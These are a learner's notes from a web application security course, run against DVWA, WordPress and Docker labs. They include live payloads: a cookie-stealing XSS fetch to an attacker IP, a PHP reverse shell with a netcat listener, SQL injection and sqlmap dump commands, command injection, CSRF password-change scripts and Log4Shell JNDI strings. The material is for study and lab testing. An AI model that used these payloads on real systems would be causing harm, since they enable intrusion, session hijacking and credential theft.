2. Web Application Concepts

netcat (nc) is a layer below something like curl. nc <host> -p <port> opens a raw TCP connection, instead of f.e. a HTTP session like curl.

Refresh a page and you get cached content, which you can recognize from logs as a 304 with size 0.

Screenshot:

curl -L follow redirection curl -X HTTP request type, f.e. POST curl -H "User Agent: X" change a HTTP header

See the event listener for an HTTP element in Firefox: Open the Web Developer Tools Ctrl+Shift+I, find an HTTP element where the Inspector shows element on the right and click that.

Screenshot:

document refers to the document the JavaScript is running on.

Event listeners are going to be very important to watch. There are ways we can disable them to prevent situations in the frontend to happen that can mess with us.

Screenshot:

Three different ways to have a HTML button:

<button type="button" onclick="alert"('Hello world!')">Click me!</button>
<button onclick="clickHandler()">Click me!</button>
<script>
        function clickHandler() {
                alert("alert");
        }
</script>
  1. (my attempt)
html, body {
	margin: 0;
	padding: 0;
}
 
body {
	display: flex;
	flex-direction: column;
	justify-content: center;
	align-items: center;
	height: 100vh;
}
 
p {
	font-size: 2rem;
}
 
button {
	background-color: lightgrey;
	padding: 7px;
	border: none;
	border-radius: 4px;
	cursor: pointer;
}
 
button.blue {
	background-color: #3498db;
	color: white;
}
 
button.green {
	background-color: #2ecc71;
	color: white;
}
 
button.orange {
	background-color: orangered;
	color: white;
}
 
 
```html
<div>
  <p class="name">freeCodeCamp</p>
  <button onclick="changeColor()">Change to Blue</button>
</div>
const name = document.querySelector(".name");
function changeColor() {
	name.style.color = "blue";
}

f.e. button.addEventListener() takes two arguments: the click type and the function you give to the event. You can have an externally named function, but what you are going to see, is an anonymous-function. f.e.

button.addEventListener("click", () => 
    alert("PWST");
});
  1. (from the course)
//You can use this file to add the EventListener to a button
 
// Make the button text
const buttonText = document.createTextNode("Click Me!");
const button = document.createElement("button");
const buttonContainer = document.getElementById("button-container");
 
// Attach text to button
button.appendChild(buttonText);
 
//Set up Event Listener
button.addEventListener("click", => {
	alert("PWST");
})
 
//Attach button to container
buttonContainer.appendChild(button);
 

Why did we do this entirely in JavaScript? Because so much takes place in JavaScript now, this is the way many elements of an HTML page are produced and presented to you. That’s why it is important to have an understanding of how this works.

On zap: the ZAP ui is broken down into three sections: the sites tree on the left, the quickstart and request- response-pane on the right the bottom the history, search and alerts.

Open tabs: the HTTP sessions on the bottom. On the right: the Break window when we are intercepting and changing data between HTTP requests and responses. On the left hand side, the Scripts window, for creating custom scripts (not necessary right now).

Contexts: How to handle sites: what is in scope for testing, what is out of scope, what technolgoeis they use, how to authenticate to them automatically.

Global Exclude URL options: built-in regex that allow us to exclude certain kinds of URLs in testing. There are built-ins like Google Chrome extensions, Google Analytics. We can add a URL for example for the current browser, Brave.

2-10: Lab - ZAP Enumeration

tip: when researching a website, after populating the Sites in ZAP, right-click and include in new context.

fuzzing is the technique of using variable kinds of input to test what the output of a specific input is as that input changes over a large list of different kinds of input. For example, index.html shows a comment left by the developer pointing to a file of interest. comments can be valuable when testing web applications, as they can be clues to new or removed files or functionalities that could be vulnerable.

screenshot of about.html source code with a comment pointing to a password backup file

screenshot of a file mentioned by an HTML comment indicating an admin password

Don’t sleep on the CSS and JavaScript files as well!

If you want to, download Daniel Messler’s SeclLists. To use that in ZAP:

  • Go to a GET-request of any page
  • Select the page name (f.e. about for about.html)
  • Right-click the selection Fuzz... Payloads... Add... Type: File, Select navigate to and select a wordlist (f.e. /Discovery/Web-Content/common.txt)
  • Add the file and start the fuzzer
  • Sort by result code (200)

Now you can see the example secret file: screenshot of a secret file found by fuzzing

3-1: PHP

PHP’s concept is server-side rendering HTML programmatically. Examples are Facebook, WordPress. PHP is a code interpreter, run by a web server, with a LAMP (Linux, Apache, MySQL, PHP) or LEMP (Linux, (E)Nginx, MySQL, PHP) stack, usually. PHP modules add functionality to PHP.

3 -2: Lab - PHP with Docker

Usually a POST request is done via a form submission, but you can also do it with a modified request in ZAP.

The PHP code below is vulnerable:

<?php
    if (isset($_POST["cmd"])) {
        echo "<pre>";
        system($_POST["cmd"]);
        echo "</pre>";
    } else {
        echo "<pre>...</pre>";
    }
?>

The POST parameter of cmd is set and if so, we are executing a system command of whatever that string happens to be. THe system command will run shell commands on the system. So we are creating code execution. This might seem insane, but many developers have put this into applications that they have deployed or something like it to make life easier for them. Functionality over security.

Don’t forget: a POST request is done with data in the post body. So not in the Header text, like with a GET request.

We can do this with curl like this:

screenshot of CURL POST request to vulnerable PHP We can do this with ZAP like this:

screenshot of ZAP POST request to vulnerable PHP

The importance is the content type header: Content-Type: application/x-www-form-urlencoded which is what PHP and the web server requires to interpret that data correctly.

The classic web exploit this web page/application is vulnerable to is cross-site scripting, in this case, reflected or DOM-based cross site scripting. Messages are reflected directly and PHP is concatenating the exact string without any sanitization that I put up in here, I am able to inject HTML directly into this page. If i use an h1 tag, for example:

screenshot of arbitrary HTML injection

screenshot of arbitrary HTML injection with a JavaScript alert

Potential impacts/risks: injecting a download to a malicious page with a fake login or forcing a download.

3-3: Server Side Security Considerations

Injections:

  • Local File Inclusion
  • Uploaded File Vulnerabilities
  • Remote File Inclusion
  • Cross-Site Scripting
  • Database Injections
  • Command Injection
  • Server-Side Request Forgery

Local File Inclusion

  • When a server-side app can display non-app files that are on the server
  • Impact: info disclosure, pivoting opportunities (f.e. /etc/passwd for usernames)

Uploaded File Exploits

  • Uploading files that can be executed by the web app
  • Impact: remote code execution, privilege escalation or persistence
  • Example: uploading a web shell

Remote File Inclusion

  • Server-side application displays files from other servers
  • Impact: code execution, pivoting
  • Example: including fake online login page, injecting JavaScript

Cross-Site Scripting (inclusion of malicious JavaScript into an HTML page)

  • Both reflected/DOM-based (use something in the URL or web page components to create malicious code injection) and stored (stored in the database and recreate when page is loaded)
  • Leads to executing JavaScript
  • Browser takeover, redirect, drive-by downloads

Database Injection (f.e. SQL)

  • Server-side application allows unsanitized database queries
  • Impact: authentication bypass, information disclosure, pivoting
  • Example: SQL injection authentication bypass

Server-Side Request Forgery

  • Server-side application allows network requests from the application to the internal network
  • Impact: pivoting, information disclosure, persistence
  • Example: URL parameter allows internal IPs

3-4: Lab - Wordpress

For testing sake: the admin username is admin and the password is badboy. You’re welcome, future me.

tip: want to know if you have a server-side rendered application? Use Wappalyzer.

How does Wappalyzer know the Apache and PHP versions? It gets that in the responses by the server itself.

Wordpress user enumeration username not registered

Wordpress user enumeration username registered

tip: search for responses in ZAP when fuzzing: message-processors Type: Tag-Creator enter regex to match/extract and tag to look for later

example of fuzzing and message-extractor to find return values

A successful Wordpress response is a 302 redirect , which redirects us to Location: http://pwst-server:8000/wp-admin/profile.php

Wordpress succesful login HTML response

3-5: Lab - DVWA

user-token: cross-site request forgery token that are added to a page. In this case, we can find it in the HTML response of a GET request to the login.php:

screenshot of the user token in the HTML response of a /login.php page

The importance of this token is to make sure ZAP is aware for this CSRF token to look for and handle.

Anti-CSRF-token: TOols Options Anti-CSRF Tokens Add ‘from HTML response’

screenshot of ZAP option for Anti-CSRF

tip: when fuzzing, try to follow-redirects! Options Follow Redirects. This way you can check for the actual results of the responses.

tip: be mindful of the fact that ZAP can run several threads and actually mess up the CSRF-token handling. Let ZAP instead run in a single thread. Options Concurrent Scanning Threads per Scan: 1

4-2: Broken Access Control

  • Users can do/see more than they are supposed to
  • in client-side code
  • Example: IDOR (Insecure Direct Object Reference)
    • application fails to secure access beyond user scope (read other user’s data by id number)
  • Example: Local FIle Inclusion
    • application displays non-application files resident on the server (user disclosure through /etc/passwd)
  • Example: Weak Authorizatoin
    • application fails to protect sensitive content (‘secure’ admin page with readable cookie)
  • Example: Security Through Obscurity
    • application hides sensitive information in ‘complex’ or unsuspected page

screenshot of Local File Inclusion through PHP page showing etc passwd

How to add a new alert based on an HTTP response:

screenshot adding new alert from HTTP response

Moving around a filesystem and displaying files: cat test/../../../../../etc/passwd.

In the case of the following PHP source code:

 
<?php
 
// The page we wish to display
$file = $_GET[ 'page' ];
 
//Input validation
if ( !fnmatch( "file*", $file) && file != "include.php") {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit; } ?> ```
 
Use the following HTTP request:
![example of traveling the file system](attachments/Practical-Web-Application-Security-and-Testing_2024-10-14_15-25-06.png)
 
# 4-3: Cryptographic Failures
 
Example this website looks at: weak hashing.
 
One thing you can do with WordPress-sites is mess with the PHP contents of the theme pages directly from the dashboard.
 
What we can do with the 404.php file is create a reverse shell: trigger a network connection from the PHP server back to our attacking machine.
Attacking machine IP: 10.0.2.15
Start netcat listener: `nc -nlvp 8000`
 
Use 'Hack-Tools' extension to create a PHP Pentestmonkey's reverse shell, add your IP address and your code, copy the code and add it in the WordPress 2021 theme above/before . Don't forget to remove the `<?php` and `?>` opening and closing tags.
 
![screenshot of PHP reverse shell active](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_15-26-11.png)
 
Files to look for when establishing a reverse shell on a WordPress-instance `wp-config.php` as it can contain the database password.
 
![concatenated wp-config.php](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_15-29-19.png)
![database password for WordPress stored in environment variable](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_15-29-49.png)
 
Using MySQL:
 
![Connecting to a MySQL database](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_15-39-52.png)
 
![Dumping tables](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_15-41-35.png)
 
![Retrieving a password hash](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_15-43-00.png)
 
We can try to crack this with hashcat as follows:
 
`hashcat --help | grep 'php'` => use `phpass`
`hashcat -a 0 -m 400 admin.hash ~/Downloads/SecLists/Passwords/Common-Credentials/best1050.txt`
 
![PHP password cracked with hashcat](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_15-47-23.png)
 
# 4-4: Injection
 
Cross-Site Scripting
 
- Abusing application functionality to create malicious JavaScript
- DOM-based: Mutating the HTML document 
- Reflected: URL parameters are displayed in the page 
- Stored: Saved data rendered for all viewers
 
Cross-Site Scripting in DVWA
 
## DOM-based XSS
 
Looking at XSS (DOM) (/vulnerabilities/xss_d/?default=English), you should always try to experiment with URL parameters to see what they do to a page. An example with adding a HTML element:
 
![DOM-based scripting example h1 HTML tag](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_16-20-58.png)
 
![DOM-based scripting example JavaScript alert](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_16-22-35.png)
 
To actually do something with this, redirect a user to a login page:
 
`http://pwst-server:8001/vulnerabilities/xss_d/?default='></select><script>document.location.href="https:joostagterhoek.nl"</script>`
 
This only works with the DVWA Security set to low, not medium. Why?
 
![DVWA Security set to Medium, h1 HTML element does work, script does not](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_16-31-26.png)
 
![The source code shows that the PHP filters for script elements](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_16-32-38.png)
 
Script might be filtered, but what we can instead do, is use an image tag and within that, on error, use a script tag. An example of this would be:
 
`?default='></option></select><img src=x onerror="alert('XSS')">`
 
![img tag with onerror script tag, arbitrary JavaScript execution does work](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_16-33-53.png)
 
![inspected element shows the img tag with the onerror script tag](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_16-38-07.png)
 
## Reflected XSS
 
![Reflected XSS example with h1 tag](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_16-39-23.png)
 
![Reflected XSS with script tag showing alert](attachments/Practical-Web-Application-Security-and-Testing_2024-10-23_16-40-56.png)
 
## Stored XSS
 
#tip: whenever you have a form that doesn't behave the way you want it to (input is limited, f.e.), inspect the form. You can change form lenght, because it's controlled on the side of the client.
.
 
Try out another img tag with an onerror function in a stored cross-site scripting situation, and you will in the case of DVWA get an alert everytime the page is reloaded.
 
![Stored XSS with img onerror alert](attachments/Practical-Web-Application-Security-and-Testing_2024-10-26_20-41-23.png)
 
Another important aspect of stored XSS is secret disclosure, in this case with cookies.
Open the Inspector, go to Applications => Cookies. Disclosing a session cookie, in this case the PHPSESSID, you unset the HttpOnly flag.
JavaScript can then interact with this cookie.
 
We can set up a listener to catch the PHPSESSID cookie and hijack it. F.e.:
```js
<script>fetch('http://10.0.2.15:8000/'+document.cookie);</script>

Stored XSS with fetch to catch a cookie

Stored XSS result catching cookie with netcat

Copy that PHPSESSID, open the website in another profile, add the session ID in Inspector Application Cookie with the correct name and presto! You’re logged in! Interesting: the NoHttp flag in ZAP by default is set to a low severity. This should instead be a high finding. In ZAP: Take your context Alert filters Add ‘No Http Only’ flag Change it to high Confirm. The existence of cross-site scripting makes this alert more severe.

4-5: Injection - SQLI

  • Poisoning constructed database queries with user input
  • Any user input used to access data may be vulnerable (form, search field, login, filter)

A sample SQL query can look like this:

"SELECT * FROM USERS where username=" . $_POST["username"] . "AND password = " .$_POST["password"] . ";"

Select * (all columns) from the users table where the username equals, combined with the username string, concatenate with AND password = and concatenate with the password. The POST values are coming from a form submission like a login, the semicolon ends the query, the dots remember how we combine strings in PHP. This query has no sanitization of user input at all. What if the username I gave it was something like this? ” OR 1=1; —

Combine this with the query and you get:

"SELECT * FROM USERS where username=" . "OR 1=1; -- . " AND password = " . $_POST["password"] . ";"

What happens here is: You combine a username with a quote that ends the query or 1=1. The double dashes are comments in SQL, so ignore the rest of the line. Give me all of the users, whether it’s an empty value, or if 1=1, which is always true, which means it will return all of the users in the database. And the first one is usually the admin.

Example of basic SQLI attack

How to do this with ZAP: use a POST request to a specific form Open/Resend with Request Editor.

Example of a SQLI attack in ZAP

The error has to do with something we can find in the source code. Namely, the MySQL real escape string. This function is “used to create a legal SQL string that can be used in an SQL statement.” source

Source code SQLI injection mysqli_query

What you can do for automated fuzzing:

  1. Open a POST request in the history Select the value you want to fuzz, right click, Fuzz Payloads File fuzzer
  2. Select File Fuzzers sqli injection detect etc.

Another option for fuzzing:

  1. Open a POST request in history, right click, Attack, Active Scan Advanced Options, Policy, Apply ‘Off’ Threshold to ‘All’, click Go
  2. Click injection SQL injection Medium Start Scan

Another available tool is sql map. To use:

  1. Right-click a POST request you want to use, Save as Raw All Save somewhere
  2. In the folder, run: sqlmap -r name-of-request-file.raw --dmbs dbms-used

Result can be: ‘POST parameter ‘id’ is ‘Generic UNION query (NULL) - 1 to 20 columns’ injectable, POST parameter ‘id’ is vulnerable, do you want to keep testing the others (if any)‘? What this means is: a UNION is an SQL statement. For example: 1 UNION SELECT 1 can result in ‘the used SELECT statements have a different number of columns’. So obviously we have a UNION capability, which is what we found. You can do this manually, but you can also let sqlmap do this. Once you’ve found a vulnerable endpoint, you can for example dump the available databases: sqlmap -r saved-HTTP-request.raw --dmbs used-dbs --dump --dbs.

Blind SQL injection

1' or 1=1; --

A valuable tool is: swisskeyrepo/PayloadsAllTheTHings link

Use sqlmap for blind SQL injection:

  1. Select a used HTTP request
  2. Make it ‘clean’ (remove the SQL injection attempt from the request header)
  3. Save it, save it raw, request, only the header
  4. sqlmap -r sqli-blind-request-header.raw --dmbs used-dmbs

Remember: a GET request might not be usable if the value after the ? is not ended with &Submit=Submit (so f.e. /?id=1&Submit=Submit HTTP/1.1)

‘GET parameter ‘id’ appears to be a ‘AND boolean-based blind - WHERE or HAVING clause’, which means: it is creating a sequence of true/false statements to guess what the contents of the columns are. Time-based blind query sleep is: a time-based injection uses the sleep command for an arbitrary number of seconds depending on whether something is true in the query. If so, the response will take longer to return. This works only on a stable connection, if you have one, it’s a great way to extract data from a SQL database.

4-6 Injection - Command Injection

  • Abusing user input fields that run local server commands
  • Example: network tools available through the web interface
  • Example: API endpoints (CVE-2022-1388)

Try to simulate what might happen on a shell. What if I want to put another command after an existing command? You can for example use a semicolon: ping -c 4 pwst-server; ls -all.

command injection with a semicolon and additional command command injection concatenating /etc/passwd

4-7: Insecure Design

  • Application architecture that presents attack opportunities
  • Covers a wide array of issues
  • No single attack vector
  • Often requires deep explanation to clients
  • Example: cross-site request forgery

Cross-site request forgery is when a site is able to accept form requests or other kinds of HTTP requests that send data to the site from off-site. Example: a phishing email for a bank website sends you a link that takes advantage of forms used inside the bank’s website. Clicking on that link in that email will redirect you to a form that sends data to the bank’s website to execute some kind of transaction. The issue in DVWA with security set to low is with this type of links: http://pwst-server:8001/vulnerabilities/csrf/?password_new=PASSWORD&password_conf=PASSWORD&Change=Change# If you have a user click on a link like this, you can change their password!

With security set to medium, it doesn’t work. Why? Because in the case of this page’s source code, it checks the HTTP Referer header: Source code checking HTTP Referer header

To combat this, you can take a HTTP Referer header from a previous request and add it to your request. One way to do this is to set a ZAP breakpoint, clicking the green button, sending the request and then changing it before it arrives at the server with a HTTP Referer header from a previous request.

Remember: Password is changed to password123.

One more layer of security when you set the security to ‘High’, is the user token, added to each URL and created for each response. One way to circumvent this is by embedding a page inside of an iframe inside of a webpage that we control. Example:

<html>
	<head>
		<title>CSRF</title>
		<body>
			<iframe src="http://pwst-server:8001/vulnerabilities/csrf/"></iframe>
		</body>
	</head>
</html>

CSRF this way rarely works any more because, as DVWA says, ‘Browsers are starting to default to setting the SameSite cookie flag to Lax, and in doing so are killing off some types of CSRF attacks. When they have completed their mission, this lab will not work as originally expected’. Cookies are expected to be same site, so embedding a page inside of an iframe, the cookie would not pass through the way it did before. A way around this, is to use cross-site scripting, especially stored cross-site scripting. If a script calls a form directly from the site, the session would be logged in. We could pull out the data and the token and then submit the password reset form. Using some JavaScript, we are able to extract the user token:

fetch("http://pwst-server:8001/vulnerabilities/csrf").then(d => d.text()).then(t => {console.log(t)}) ;

Output of JavaScript pulling HTML of a page to extract the user token

4-7: Insecure Design

Example JavaScript to extract the user token from pwst-server:8001/vulnerabilities/csrf:

fetch("http://pwst-server:8001/vulnerabilities/csrf/")
.then(d => d.text())
.then(t => t {
		let parser = new DOMParser();
		let doc = parser.parseFromString(t,  "text/html");
		let userToken = Array.from(doc.querySelectorAll("input"))
		.filter(i => {
		return i.name == "user_token";
		})[0];
		console.log(userToken.value);
	});
 

This returns the user_token:

CSRF example extracting user token with JavaScript

To reproduce our request with the user token:

fetch("http://pwst-server:8001/vulnerabilities/csrf/")
.then(d => d.text())
.then(t => {
		let parser = new DOMParser();
		let doc = parser.parseFromString(t,  "text/html");
		let userToken = Array.from(doc.querySelectorAll("input"))
		.filter(i => {
		return i.name == "user_token";
		})[0];
		console.log(userToken);
		let newPass = "password321";
		let url = `http://pwst-server:8001/vulnerabilities/csrf/?password_new=${newPass}&password_conf=${newPass}&Change=Change&user_token=${userToken.value}`;
		fetch(url)
		.then(d => { console.log(d)});
	});

screenshot of CSRF changing the password using an intercepted user_token

This can for example be used in a stored cross-site scripting (XSS) setting.

4-8: Security Misconfiguration

  • Default accounts
  • Missing hardening
  • Unnecessary features (network tooling)
  • Example: XML external entities (#XXE)

XXE: XML External Entities

  • XML set as data can include “external entities”
  • If supported, can disclose local files
  • In certain configurations, this can lead to remote code execution

4-9: Vulnerable and outdated components

  • The web app version of a ‘supply chain attack’ or vulnerability
  • Can be server- or client-side
  • Example: Apache vulnerabilities
  • Example Flaws in JavaScript imported libraries
  • Often combined with other categories

Log4Shell: CVE-2021-44228

  • Vulnerability in Log4J 2 logging library
  • Allowed JNDI requests to perform arbitrary code execution and information disclosure
  • Log4J was in everything

Example using a Docker container in the pwst-resources/4-9 folder:

Log4Shell example with netcat

You can also generate a Log4Shell canary token (don’t forget to escape by adding backslashes \ before the two $ ):

curl -A ${jndi:ldap://x${hostName}.L4J.0nqb6ts4cyj5347mkikvylitg.canarytokens.com/a}
curl -A \${jndi:ldap://x\${hostName}.L4J.0nqb6ts4cyj5347mkikvylitg.canarytokens.com/a}

JNDI string with a Log4Shell canary token

4-10: Identification and Authentication Failures

Identification and Authentication

  • More conceptual than a specific attack vector
  • Has to do with application design and hardening
  • Can we brute force credentials?
  • WIll it allow username enumeration (f.e. WordPress)?
  • Does MFA work, is it enabled?

A common identification and authentication failure is weak sessions IDs. We can examine this in DWVWA.

Generating a new cookie Cookie set as seen in ZAP Session IDs that are sequential and easily guessable, can be fuzzed! This means you could fuzz this cookie to see whether you can log in elsewhere or with other privileges in the application.

Moving the security of DVWA up to medium generates a session ID which is a Unix epic time. We can make sure of this by doing the following:

JavaScript to see the session ID is a Unix epic time Setting the DVWA security to high generates hashes, probably.

Probably a hash generated as a session ID We can try to test and/or crack the hash by using CrackStation

Cracking sequentially generated hashes

This shows that these are sequentially generated MD5 hashes, which can still be trivially guessed and enumerated (write a script, hash these numbers, get their MD5 hash, use those as our cookie enumerator).

4-11 Software and Data Integrity Failures

Software Data and Integrity

  • New category (per 2022 :D)
  • Fairly advanced topic
  • Concerns the ‘supply chain’
  • Security of CI/CD pipelines
  • How are development and deployment secrets managed?
  • Example: Github and secrets

Possible risks: code injected in your build pipeline without you noticing, or security secrets like keys for cloud assets or API keys could be disclosed, compromising your production environment

If you find a Jenkins server open on a network and you can compromise that, this could provide you remote code execution, or access to build source code, providing you a dangerous persistence mechanism

4-12: Security Logging and Monitoring Failures

  • Tricky to detect
  • Not always seen during a pentest, more likely afterwards
  • Were the attacks detected?
  • Where are the logs stored?
  • A report or debrief can be as important as the (pen)test

4-13: Server-Side Request Forgery

Server-Side Request Forgery (SSRF)

  • It’s an injection, technically
  • Coercing the server to make internal network requests on your behalf
  • Potentially give you information disclosure or remote code execution
  • Example: API endpoint that takes internal URLs or network resource that you may be able to modify

4-14: Extra Practice

Great free resources:

PortSwigger

5-1: Client-Side Webapp Introduction

  • Client-side web applications resides in the web browser (JavaScript vs. PHP for example)
  • Even server-side apps can have large client-side components
  • Where the code lives means we attack it differently
  • Anything that is client-side can’t be secret (unpack code with browser tools)

HTML from JavaScript

  • Modern webapps don’t serve raw HTML
  • view-source shows little to nothing
  • JavaScript renders HTML
  • ZAP has a harder time analyzing such apps

5-2: Lab - Juice Shop

TODO: hier gebleven